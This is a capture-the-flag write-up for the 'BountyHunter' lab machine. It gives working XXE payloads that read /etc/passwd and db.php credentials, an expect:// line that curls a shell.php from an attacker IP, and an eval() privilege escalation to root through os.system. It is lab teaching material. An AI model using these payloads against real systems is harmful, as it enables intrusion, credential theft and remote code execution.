BountyHunter
Easy Linux box exploiting an XXE to read files and Python eval in a root ticket validator.
Recon
Ping
We have a TTL of 63, which means this is likely a Linux machine.
Nmap first 1000 TCP Ports
Web Server on port 80
Nothing interesting on the homepage, which seems like it's hosting a website for bug bounty hunters. None of the links or forms work except for the "PORTAL".
It's leading to a form which still seems under development.
The form is supposed to be adding a "Bounty Report" to the database.
Enumeration
After clicking the submit button, it prints the input fields' values.
Intercepting the request on Burp, it looks like it's both URL Encoded and Base64 encoded. Let's decode it and see what the result is.
Looks like it's using XML to submit the form. We can try to do an XXE attack and read local files (Local File Disclosure) on the server.
Exploitation
By simply defining a new entity and using it as a variable in the file
element, we can test whether it gets replaced. We'll use the SYSTEM
keyword and define the external reference path.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [
<!ENTITY localfile SYSTEM "file:///etc/passwd">
]>
<bugreport>
<title>&localfile;</title>
<cwe>CWE-79</cwe>
<cvss>5.5</cvss>
<reward>2000.00</reward>
</bugreport>
We have to convert it to base64 and URL encode it before sending the request.
It worked!
Let's try and read more sensitive files. We have a username in /etc/passwd
with a UID of 1000 called development.
Trying to read /home/development/.ssh/id_rsa
didn't work.
Next, we can try to execute commands. Since the webserver runs PHP, we can try uploading a PHP file to get OS command execution.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [
<!ENTITY localfile SYSTEM "expect://curl$IFS-O$IFS'10.10.16.2:1111/shell.php'">
]>
<bugreport>
<title>&localfile;</title>
<cwe>CWE-79</cwe>
<cvss>5.5</cvss>
<reward>2000.00</reward>
</bugreport>
It didn't work.
Let's try to read the source code of the PHP pages. After reading some known files, we found a file called db.php that had interesting data.
We have to use a PHP filter to base64-encode the content to avoid breaking XML output.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [
<!ENTITY localfile SYSTEM "php://filter/convert.base64-encode/resource=db.php">
]>
<bugreport>
<title>&localfile;</title>
<cwe>CWE-79</cwe>
<cvss>5.5</cvss>
<reward>2000.00</reward>
</bugreport>
We got some database credentials we can use.
Tried the password on an SSH connection to user development — it worked.
User Flag
Privilege Escalation
We found a file in the user's home directory named contract.txt.
Looks like John set up some permissions before leaving.
We can execute /opt/skytrain_inc/ticketValidator.py
as root. It seems to be a ticket validation script.
One dangerous function here is eval(), which can be abused for code execution.
After copying an invalid ticket from /opt/skytrain_inc/invalid_tickets/
, we tried to understand the logic:
ticketCode % 7 == 4
validationNumber > 100
To make Python evaluate a command, we make a simple math expression (e.g., 25+179
→ 204, and 204 % 7 == 1
) and chain it with an import os and os.system(...)
payload.